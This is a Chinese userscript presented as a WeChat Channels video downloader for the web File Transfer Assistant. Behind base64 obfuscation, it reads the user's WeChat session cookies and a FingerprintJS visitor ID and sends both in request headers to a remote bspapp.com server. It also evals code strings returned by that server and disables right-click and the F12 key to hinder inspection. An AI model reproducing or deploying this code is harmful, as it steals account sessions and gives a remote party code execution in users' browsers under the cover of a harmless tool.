// ==UserScript== // @name 【快点工具】——微信视频号传输助手网页版 支持手机和电脑 // @namespace https://greasyfork.org/zh-CN/users/927947-witchery // @version 1.1.0 // @description 视频号下载传输助手 支持直播提取,使用前请看下方教程,微信视频号下载器、抖音、小红书等 // @author witcher // @match *://*filehelper.weixin.qq.com/* // @match *://*/* // @grant GM_setValue // @grant GM_getValue // @grant GM_addStyle // @grant GM_setClipboard // @grant GM_xmlhttpRequest // @require https://unpkg.com/layui@2.9.7/dist/layui.js // ==/UserScript== (function () { var wecometext = '欢迎使用#快点工具-视频下载,直接转发视频可以提取视频下载链接,转发试试吧,如果有其他需求可以添加插件是的微信群沟通,关注公众号:#快点工具 获取更多好玩好用的软件'; if (location.href.match("filehelper.weixin.qq.com")) { var ver = '1.1.0'; var lj = 'https://unpkg.com/layui@2.9.7/dist/layui.js'; var sp = "", st = "script", sy = "style", tp = "text/javascript", dv = "div", u, bid, b = "dmFyIGJpZDs=", Hr; eval(ab(b)); var fp = "dmFyIGhzID0naHR0cHM6Ly8nO3ZhciB3bz0nb3BlbmZwY2RuLmlvJzt2YXIgcGg9Jy9maW5nZXJwcmludGpzL3Y0Jzt2YXIgaT1ocyt3bytwaDt2YXIgIGZwID0gaW1wb3J0KGkpLnRoZW4oKGkpID0+IGkubG9hZCgpKTtmcC50aGVuKChpKSA9PiBpLmdldCgpKS50aGVuKChpKSA9PiB7YmlkPSBpLnZpc2l0b3JJZDtzZXYoJ2JpZCcsYmlkKX0pOw==", r, d = p => atob(p), ed = i => { const e = d(i); eval(e) }; ed(b), ed(fp); var s = p => { (sp = document.createElement(st)).type = tp, sp.src = p, document.head.appendChild(sp) }; s(lj); var bbhl = `

【快点工具】——微信视频号传输助手网页版

暂无视频数据:



v.${ver}

` //样式 var sc = ` .boby{ background:#ffffff; width:0px; height:80%; position: fixed; z-index: 100000; top: 15%;left: 0; overflow-x: hidden; transition: 0.5s; box-shadow:0px 1px 10px rgba(0,0,0,0.3); bottom:10vh; } .text-overflow { width: 200px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } ` var cs = (i) => { sy = document.createElement(sy); sy.textContent = i; document.head.appendChild(sy); } cs(sc); var hrs; var boby = () => { dv = document.createElement(dv); dv.id = "bd"; dv.innerHTML = bbhl; document.body.appendChild(dv) } boby(); var opbtncs = ` line-height: 5vh; text-align: center; height: 6vh;width: 6vh; font-size: 15px; color: white; position: relative; overflow: hidden; border:1px solid #1e7db9; box-shadow: 0 1px 2px #8fcaee inset,0 -1px 0 #497897 inset,0 -2px 3px #8fcaee inset; background: -webkit-linear-gradient(top,#42a4e0,#2e88c0); border-radius: 100%; top:5px; ` var opbtn = ``; var opcs = ` position:fixed; bottom:20vh; z-index:9999999999; height:6vh; width:6vh; left:1vh; cursor:pointer; float:left; border-radius: 100%; `; r = 'bmV3IEhlYWRlcnMoKTs='; var open = '
打开下载器》' var gb = '
X 收起' var ci = 'dmFyIGNrZSA9IGRvY3VtZW50LmNvb2tpZTs='; var myBtn = document.createElement("div"); myBtn.id = "myBtn"; myBtn.innerHTML = open; myBtn.setAttribute("style", "z-index:100999999000;position: fixed;left: 0;top: 78%; cursor:pointer;transition: margin-left .5s;margin-top: 20PX;border-radius: 0 4PX 4PX 0"); myBtn.onclick = function (event) { if (location.href.match("filehelper")) { var sidenava = document.getElementById("b").style.width; if (sidenava == "0px" || !sidenava) { document.getElementById("b").style.width = "350px";; myBtn.innerHTML = gb; //document.getElementById("sidenava").style.backgroundColor = "rgba(0,0,0,0.4)"; document.getElementById("myBtn").style.marginLeft = "270px";; } else { document.getElementById("b").style.width = "0px"; document.getElementById("myBtn").style.marginLeft = "0px"; myBtn.innerHTML = open } } else { window.open('https://filehelper.weixin.qq.com/') } } document.body.appendChild(myBtn); qqq.onclick = function () { window.open('http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=95abF-QRQAEje-_N_9VHtbVPZT2cGeop&authKey=a3EYN9STHHb3snWHkaZtiah6Yl4Y3jNRE71ObUPIx06T0sr7PTIubnVd%2FXFxA%2BoR&noverify=0&group_code=882899750') } haoping.onclick = function () { window.open('https://greasyfork.org/zh-CN/scripts/492152/feedback') } var cke = eval(bs('ZG9jdW1lbnQuY29va2ll')); var okd = localStorage.getItem('okd'); ed(ci) if (okd) { okd = JSON.parse(okd); bdsj() } else { okd = []; } var originalSend = XMLHttpRequest.prototype.send; var load; var spD = localStorage.getItem('spD'); if (spD) { spD = JSON.parse(spD); if (spD.length > 0) { hsj(); }; } else { spD = []; } function hsj() { document.getElementById("hsj").innerHTML = '
获取到的视频:
'; } function bdsj() { document.getElementById("bdsj").innerHTML = '
已处理的视频:
'; } savelogin.onclick = function () { GM_setValue('ck', document.cookie) layer.alert('保存成功') } function setCookie(name, value, days) { var expires = ""; if (days) { var date = new Date(); date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000)); expires = "; expires=" + date.toUTCString(); } document.cookie = name + "=" + encodeURIComponent(value) + expires + "; path=/"; } cklogin.onclick = function () { var ck = GM_getValue('ck'); if (ck == '' || !ck || ck == null || ck == undefined) { layer.alert('无记录') return false; } layer.confirm('ck有可能失效,如果登录失败,请扫码登录网页传输助手再保存信息', { title: "提示", btn: ['登录', '取消'] }, function (e) { var cookiePairs = ck.split(";"); for (var i = 0; i < cookiePairs.length; i++) { var pair = cookiePairs[i].split("="); var cookieName = pair[0]; var cookieValue = pair[1]; setCookie(cookieName, cookieValue, 399999); } location.reload() // window.location.href = window.location.href }, function () { }); } function gev(i) { return GM_getValue(i); } function sev(i, d) { return GM_setValue(i, d) } var isPaused = false; qkhsj.onclick = function () { localStorage.removeItem('spD'); spD = []; var table = document.getElementById('spTable'); var tbody = table.getElementsByTagName('tbody')[0]; tbody.innerHTML = ''; layer.msg('已清空'); } fk.onclick = function () { layal(ab('aHR0cDovL2FhYmJjY2RkZWVmZmdnLmlzcGgudG9wL2picXVuLmpwZw==')); } var isListening = true; var login = false; var originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function () { isListening && this.addEventListener("load", function () { var a, e; -1 !== this.responseURL.indexOf("cgi-bin/mmwebwx-bin/webwxsync") && (login || (send(wecometext), login = !0), e = this.responseText, a = layui.util, 0 < (e = JSON.parse(e)).AddMsgList.length && (e.AddMsgList.forEach(function (t) { var e, s, n; spD.some(function (e) { return e.m == t.MsgId }) || t.Content && (e = (e = a.unescape(t.Content)).replace(//g, ""), s = (n = (n = new DOMParser).parseFromString(e, "text/xml")).getElementsByTagName("desc")[1] ? n.getElementsByTagName("desc")[1] : n.getElementsByTagName("desc")[0], n = n.getElementsByTagName("url")[1] ? n.getElementsByTagName("url")[1] : n.getElementsByTagName("url")[0], s = s.textContent || "无标题", n = (n = n.textContent).replace(/.*:/, "https:"), n = { d: s, m: t.MsgId, C: e, u: ba(n) }, spD.push(n), xiug(s), posts(n, s)) }), localStorage.setItem("spD", JSON.stringify(spD)), spDs(spD))) }), originalSend.apply(this, arguments) }; function xiug(data) { var textElements = document.querySelectorAll('.msg-text'); textElements.forEach(function (element) { var text = element.textContent; if (text.includes('无法显示此消息')) { // var d = data; var d = '获取到视频标题信息:【' + data + '】,请打开左边列表点击播放按钮获取视频链接'; element.textContent = text.replace('无法显示此消息,你目前使用的微信版本暂时不支持此类型的信息。', d); } }); } var gv = (x, d) => { return x.getElementsByTagName(d)[0] == null ? x.getElementsByTagName(d)[1] : '' } spDs(spD) var cl = '视频可能无法播放'; function spDs(d) { var table = document.getElementById('spTable'); var tbody = table.getElementsByTagName('tbody')[0]; tbody.innerHTML = ''; if (d.length > 0) { d.forEach(function (i, ix) { if (i) { var row = table.insertRow(); var cell1 = row.insertCell(0); var u = ab(i.u); cell1.innerHTML = `
${ix + 1}.${i.d}
`; var cell2 = row.insertCell(1); var btn = document.createElement('button'); btn.type = 'button'; btn.className = 'layui-btn layui-btn-sm layui-btn-primary'; btn.innerHTML = ''; btn.addEventListener('click', function () { layer.confirm(cl, { btn: ['提取', '打开'] }, function () { posts(i, i.d); }, function () { opv(u, i.d); }); }); cell2.appendChild(btn); var btn2 = document.createElement('button'); btn2.type = 'button'; btn2.className = 'layui-btn layui-btn-sm layui-btn-primary'; btn2.innerHTML = '复制'; btn2.addEventListener('click', function () { cp(u); }); cell2.appendChild(btn2); } }); } } function opv(u, i) { layer.open({ type: 2, title: i, area: ['630px', '360px'], shade: 0.8, closeBtn: 1, shadeClose: true, content: u, // video 地址, }); } function cp(u) { GM_setClipboard(u, "text", () => layer.msg('提取成功!!!')); } function stop(i) { layer.close(load); // isListening = !isListening layer.msg(i) } var an = 'QXV0aG9yaXphdGlvbg=='; function okds(d) { var table = document.getElementById('spTable2'); var tbody = table.getElementsByTagName('tbody')[0]; tbody.innerHTML = ''; if (d.length > 0) { d.forEach(function (i, ix) { if (i) { var row = table.insertRow(); var cell1 = row.insertCell(0); cell1.innerHTML = `
${ix + 1}.${i.d}
`; var cell2 = row.insertCell(1); var btn = document.createElement('button'); btn.type = 'button'; btn.className = 'layui-btn layui-btn-sm layui-btn-primary'; btn.innerHTML = ''; btn.addEventListener('click', function () { stop('正在打开'); opv(i.u, i.d); }); cell2.appendChild(btn); var btn2 = document.createElement('button'); btn2.type = 'button'; btn2.className = 'layui-btn layui-btn-sm layui-btn-primary'; btn2.innerHTML = '复制'; btn2.addEventListener('click', function () { cp(i.u) }); cell2.appendChild(btn2); } }); } } function confirm(u) { layer.confirm('有新版本请更新', { closeBtn: 0, btn: ['更新'] }, function () { window.open(u, '_blank'); document.getElementById("ver").innerHTML = `
有版本点击更新

`; }, function () { }); } var uuv = ab('aHR0cHM6Ly9qeHRjLmluZmluaXR5ZnJlZWFwcC5jb20vP2k9MQ=='); var upurl = 'https://greasyfork.org/zh-CN/scripts/492152' function gvr(u) { gvrs(u); // var v = GM_getValue('ver'); // var time = stime(); // if (time) { // gvrs(u); // } else { // if (v > ver) { // confirm(upurl); // } // } } function gvrs(u) { if(isMobileDevice()){ gets(u).then(r => { console.log(r) var v = r.ver; GM_setValue('ver', v) GM_setValue('vertime', Date.now()) if (v > ver) { var u = r.u; confirm(u); } }).catch(error => { sx() }); }else{ GM_xmlhttpRequest({ url: u, onload: obj => { var r = JSON.parse(obj.response) ; var v = r.ver; console.log(v) console.log(ver) GM_setValue('ver', v) GM_setValue('vertime', Date.now()) if (v > ver) { var u = r.u; confirm(u); } }, onerror: err => { sx() } }); } } var uv = ab('aHR0cHM6Ly9mYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29t'); uv = uv + ab('L3Zlcg=='); function stime() { const storedTimestamp = GM_getValue('vertime') ? GM_getValue('vertime') : 0; if (storedTimestamp) { const currentTimestamp = Date.now(); const diffHours = (currentTimestamp - storedTimestamp) / 1000 / 60 / 60; // 计算时间差,单位为小时 if (diffHours >= 1) { return true; } else { return false; } } else { return true; } } function hrds(cke, is) { Hr.append('is', is); Hr.append('ck', cke); } function hrd(od) { Hr.append(ab(an), od); } function go(d, t) { layer.close(load); if (d.code == 200) { send('视频标题:' + t + '\n' + d.data.content); layer.confirm('解析成功,请返回手机或电脑的文件传输助手内查看"', { title: "解析成功", btn: ['好评', '确定'] }, function () { window.open('https://greasyfork.org/zh-CN/scripts/492152/feedback', '_blank'); }, function () { }); } else if (d.code == 201) { var img = d.data.xcximg; layer.alert(d.data.msg, { btn: ['打开', '算了'], btnAlign: 'c', btn1: function () { layal(ab(img)) }, btn2: function () { }, }); } else if (d.code == 202) { tc(d.data.ui, d.data.html); } else { sly(d.data.msg) } } gzh = 'aHR0cDovL2FhYmJjY2RkZWVmZmdnLmlzcGgudG9wL2d6aC5wbmc=' var qr = ab('5omr56CB6I635b6X5qyh5pWw'); function sx() { alert(ab('6ISa5pys5bey5aSx5pWI77yM6K+35YWz5rOo5YWs5LyX5Y+36I635Y+W5pyA5paw5L+h5oGv')); layal(ab(gzh)); } function layal(u) { layer.photos({ photos: { "title": qr, "start": 0, "data": [ { "alt": "图片", "pid": 5, "src": u, } ] }, footer: false }); } var dh = 0 function sdown(u) { load = layer.load(0, { shade: false }); var xhr = new XMLHttpRequest(); xhr.open("GET", u, true); xhr.responseType = "blob"; xhr.onload = function () { var n = '5YWs5LyX5Y+377ya5b+r54K55bel5YW3'; if (xhr.status == 200) { var blob = xhr.response; var url = URL.createObjectURL(blob); var a = document.createElement('a'); a.href = url; a.download = "公众号:快点工具.mp4"; a.click(); URL.revokeObjectURL(url); layer.msg('下载成功'); layer.close(load); } else { layer.msg('下载失败'); layer.close(load); } }; xhr.onprogress = function (e) { if (e.lengthComputable) { var num = (e.loaded / e.total) * 100; dh = num.toFixed(2); layer.msg('下载中' + num + '%') if (dh >= 99) { var dh = 0 } } }; xhr.send(); } function slys(d) { layer.open({ type: 1, area: ['420px', '240px'], // 宽高 content: d }); } function isPC() { const userAgentInfo = navigator.userAgent; const agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"]; let flag = true; for (let i = 0; i < agents.length; i++) { if (userAgentInfo.indexOf(agents[i]) > -1) { flag = false; break; } } return flag; } function isiPad() { return navigator.userAgent.match(/iPad/i) !== null; } function panduan() { if (isPC() || isiPad()) { start() } else { layer.open({ title: "【快点工具】视频下载器", type: 1, area: ['300px', '200px'], // 宽高 content: `

提示:当前不是PC桌面或iPad电脑环境

1、找到浏览器设置里的 【浏览器标识】或者叫【自定义UA模式】

2、更改为 ‘MAC’ 或‘ipad’模式在访问

` }); } } var ck; function sly(d) { layer.open({ type: 1, content: d }); } var dd = ab('Qi1JZA=='); function gets(u) { return fetch(u) .then(response => { if (!response.ok) { throw new Error('请求失败'); } return response.json(); }) .then(data => { return data; }) .catch(error => { throw error; }); } var is = isMobileDevice(); var ids = 'bid'; document.oncontextmenu = function (event) { ck = 'cookie'; if (window.event) { event = window.event; }; try { var the = event.srcElement; if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")) { return false; }; return true; } catch (e) { return false; } }; document.onkeydown = function () { if (window.event && window.event.keyCode == 123) { event.keyCode = 0; event.returnValue = false; }; if (window.event && window.event.keyCode == 13) { window.event.keyCode = 505; }; if (window.event && window.event.keyCode == 8) { window.event.returnValue = false; }; }; bid = gev(ids) ? gev(ids) : bid; var Sid = 'U2VjLUNILUlk'; u = 'aHR0cHM6Ly9mYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29tL2FwaQ=='; function posts(d, t) { var button = document.querySelector(".chat-send__button"); if (!button || null == button || null == button) return layer.alert("请先扫码登录再使用"), !1; if (layer.close(load), layer.msg("处理中"), load = layer.load(0, { shade: !1 }), isPaused = !0, !d) return layer.msg("视频错误,请重新获取"), !1; Hr = eval(atob(r)); var mod = "POST", c = d.C, sid = atob("U2VjLUNILUlk"), xml = new DOMParser, xml = xml.parseFromString(c, "text/xml"), od = xml.getElementsByTagName("objectId")[0], ond = xml.getElementsByTagName("objectNonceId")[0], od = od.textContent, ond = ond.textContent, did = ba(od + "," + ond); hrd(did); var a = ab(an); Hr.append(ab("Qi1JZA=="), bid); hrds(cke, is); var uu = xml.getElementsByTagName("url")[1] ? xml.getElementsByTagName("url")[1] : xml.getElementsByTagName("url")[0]; od = uu.textContent; const data = { u: od }; var zh = "网络错误,请重试,或当前浏览器不支持,可关注公众号获取最新工具或查看油猴最新版本"; hrs = { [dd]: bid, [a]: did, is: is, ck: cke }, is ? fetch(bs(u), { method: "POST", credentials: "include", headers: Hr, body: JSON.stringify(data) }).then(e => e.json()).then(e => { go(e, t) }).catch(e => { var t = gzh; layer.close(load), sly("") }) : GM_xmlhttpRequest({ url: bs(u), method: mod, headers: hrs, credentials: "include", data: JSON.stringify(data), onload: function (e) { e = JSON.parse(e.responseText); go(e, t) } }) } function send(e) { const t = document.querySelector(".chat-panel__input-container"), n = document.querySelector(".chat-send__button"); document.getElementById("paramsContainer"); var c = e; t && (e = new Event("input", { bubbles: !0 }), t.value = c, t.dispatchEvent(e), setTimeout(() => { n.click() }, 200)) } function start() { layer.open({ title: "欢迎使用快点工具视频下载插件", type: 1, shadeClose: true, area: ['420px', '300px'], // 宽高 content: `

使用说明:

1、打开网页传输助手:https://filehelper.weixin.qq.com

2、扫码登录,如果用手机登录就请用另一部手机扫码登录

3、登录后在手机或电脑上转发视频给文件助手。

4、解析成功后,回到手机微信或电脑端手机微信查看收到的消息


觉得麻烦不明白的话 →

可以扫码添加助手→

转发视频使用小程序下载→

` }); } function post(method, url, async, headers, data, success, error) { const xhr = new XMLHttpRequest(); xhr.open(method, url, async); if (headers) { for (let header in headers) { xhr.setRequestHeader(header, headers[header]); } } xhr.onreadystatechange = function () { if (xhr.readyState === XMLHttpRequest.DONE) { if (xhr.status >= 200 && xhr.status < 300) { if (success) { success(xhr.responseText); } } else { if (error) { error(xhr.status, xhr.statusText); } } } }; xhr.onerror = function () { if (errorCallback) { errorCallback(xhr.status, xhr.statusText); } }; xhr.send(data); } function bs(i) { return eval('atob(i)') } function e(i) { return atob(i); } function ab(i) { return atob(i); } function isMobileDevice() { return window.matchMedia("(max-width: 767px)").matches; } // 判断设备是否支持触摸事件 function isTouchDevice() { return ('ontouchstart' in window) || (navigator.maxTouchPoints > 0) || (navigator.msMaxTouchPoints > 0) || (window.matchMedia && window.matchMedia('(pointer:coarse)').matches); } sp.onload = function () { panduan() const button = document.querySelector('.chat-send__button') if (button) { send(wecometext); } layui.use(function () { var layer = layui.layer; var util = layui.util; // 事件 util.on('lay-on', { "openimg": function () { // gvrs(uv); layer.photos({ photos: { "title": "扫码添加", "start": 0, "data": [ { "alt": "扫码添加", "pid": 5, "src": "https://pic.imgdb.cn/item/665f1a3d5e6d1bfa058bdb9f.png", } ] }, footer: false // 是否显示底部栏 --- 2.8.16+ }); }, "colsetishi": function () { layer.closeAll(); } }) }) gvr(uv); } function ba(e) { return btoa(e); } function tc(i, d) { var o = eval(i); o(d); } } else if (location.href.match("weixin.qq.com")) { weixin() function weixin() { GM_setValue('weixin', '') if (GM_getValue('weixin')) { } else { layer.open({ title: "【快点工具】-微信视频下载器提示", content: '是否前往网页传输助手提取视频?', btn: ['是', '否', '不在提示'], offset: 'lb', // 详细可参考 offset 属性 // 按钮1 的回调 shade: 0, anim: 6, btn1: function (index, layero, that) { window.open('https://filehelper.weixin.qq.com/', '_blank'); }, btn2: function (index, layero, that) { }, btn3: function (index, layero, that) { GM_setValue('weixin', '') } }); } } } // } })();